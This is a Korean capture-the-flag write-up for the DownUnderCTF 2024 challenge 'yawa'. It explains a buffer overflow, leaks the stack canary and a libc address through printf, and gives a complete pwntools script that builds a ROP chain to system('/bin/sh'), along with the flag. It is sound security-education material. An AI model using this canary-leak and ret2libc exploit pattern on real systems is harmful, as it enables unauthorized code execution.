2024년 DownUnderCTF에 출제된 문제입니다.
Analysis
main Function
int main() {
init();
char name[88];
int choice;
while(1) {
choice = menu();
if(choice == 1) {
read(0, name, 0x88);
} else if(choice == 2) {
printf("Hello, %s\n", name);
} else {
break;
}
}
}
코드 자체는 쉽습니다.
1. menu에서 할 일을 선택해 choice로 넘겨줌
2. choice가 1이면 read로 0x88만큼 name에다가 Input을 함
3. choice가 2면 name을 출력함
4. 그게 다 아닐 시 멈추고 프로그램 종료
이렇게 간단한 로직인데요, menu 함수를 봐보겠습니다.
menu Function
int menu() {
int choice;
puts("1. Tell me your name");
puts("2. Get a personalised greeting");
printf("> ");
scanf("%d", &choice);
return choice;
}
2개의 menu가 보입니다.
1. name이라는 변수에 입력받는 menu
2. name에 맞춰서 인사하는 menu
이렇게 두 가지가 있습니다.
Mitigation
Full RELRO + Canary + NX + PIE 보호기법이 걸려있습니다.
참고로 Beginner Pwnable 문제였습니다.
Vulnerability
main 함수를 보면 name에 read를 할 때 원래 사이즈인 88을 넘어 0x88만큼 입력을 받고 있습니다.
즉 Buffer Overflow라는 취약점이 있습니다.
Buffer Overflow를 이용하여 Memory Leak으로 Stack Canary와 Libc Leak을 할 수 있겠다는 생각이 들었습니다.
어차피 Stack Canary만 맞춰주면 에러는 안 뜨니까...
Libc Leak 후 System 주소를 찾아 Gadget과 함께 ROP를 진행해 주면 완벽하겠다는 생각이 들었습니다!
Dynamic Linker와 Libc가 함께 포함되어 있어 문제 개발 환경과 비슷하기 때문에 Libc Leak을 할 때 좀 더 편했습니다.
read를 하기 전까지 EIP를 옮겨주고 stack의 상황을 확인해 봤습니다.
여기서 보이는 점은 ret에 있는 값에 Offset값 N을 더해주면 __libc_start_main의 주소 값이 된다는 것입니다.
__libc_start_main Address : 0x7ffff7dbbdc0
ret Address : 0x7ffff7dbbd90
__libc_start_main - ret = 0x30
결국엔 Stack Canary를 구해 ret전 SFP까지만 채워주면 ret를 2번째 menu로 볼 수 있게 됩니다.
※ printf 함수는 \0 즉 Null 바이트 이전까지 출력해 주는데, 이 특성을 이용함
따라서 (ret + 0x30) - libc.symbols['__libc_start_main]이 값은 libc_base가 됩니다.
Gadget은 Libc의 Gadget을 이용하겠습니다. ( yawa 바이너리엔 쓸만한 Gadget이 없음 )
Exploit
Solve.py
from pwn import *
import struct
#p = process('./yawa')
p = remote('2024.ductf.dev', 30010)
e = ELF('./yawa')
libc = ELF('./libc.so.6')
p.sendlineafter(b'> ', b'1')
p.send(b'A'*89)
p.sendlineafter(b'> ', b'2')
p.recvuntil(b'Hello, ')
p.recvuntil(b'A'*89)
canary = u64(b'\x00'+p.recv(7))
print(hex(canary))
p.sendlineafter(b'> ', b'1')
p.send(b'A'*88+b'B'*8+b'C'*8)
p.sendlineafter(b'> ', b'2')
p.recvuntil(b'Hello, ')
p.recvuntil(b'A'*88)
p.recvuntil(b'B'*8)
p.recvuntil(b'C'*8)
libc_start_main = u64(p.recv(6) + b'\x00\x00')+0x30
print(hex(libc_start_main))
libc_base = libc_start_main - libc.symbols['__libc_start_main']
system_func = libc_base + libc.symbols['system']
ret_gadget = libc_base + 0x0000000000029139
pop_rdi_gadget = libc_base + 0x000000000002a3e5
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
p.sendlineafter(b'> ', b'1')
p.send(b'A'*88+p64(canary)+b'C'*8+p64(ret_gadget)+p64(pop_rdi_gadget)+p64(bin_sh_addr)+p64(system_func))
p.sendlineafter(b'> ', b'3')
p.interactive()
1. Memory Leak 후 Stack Canary 구하기
2. Memory Leak 후 ret 값 구하기
3. ret + 0x30으로 __libc_start_main 주소 구하기
4. __libc_start_main - libc.symbols['__libc_start_main']의 값으로 libc base 값 구하기
5. libc_base를 바탕으로 System 함수 주소, /bin/sh 주소, Gadget 주소 구하기
6. Buf Size만큼 공간 채우고 Canary 넣고 ret Gadget + pop rdi Gadget + /bin/sh 주소 + System 함수 주소로 이루어진 Payload를 날림
7. Exploit 성공!
FLAG : DUCTF{Hello,AAAAAAAAAAAAAAAAAAAAAAAAA}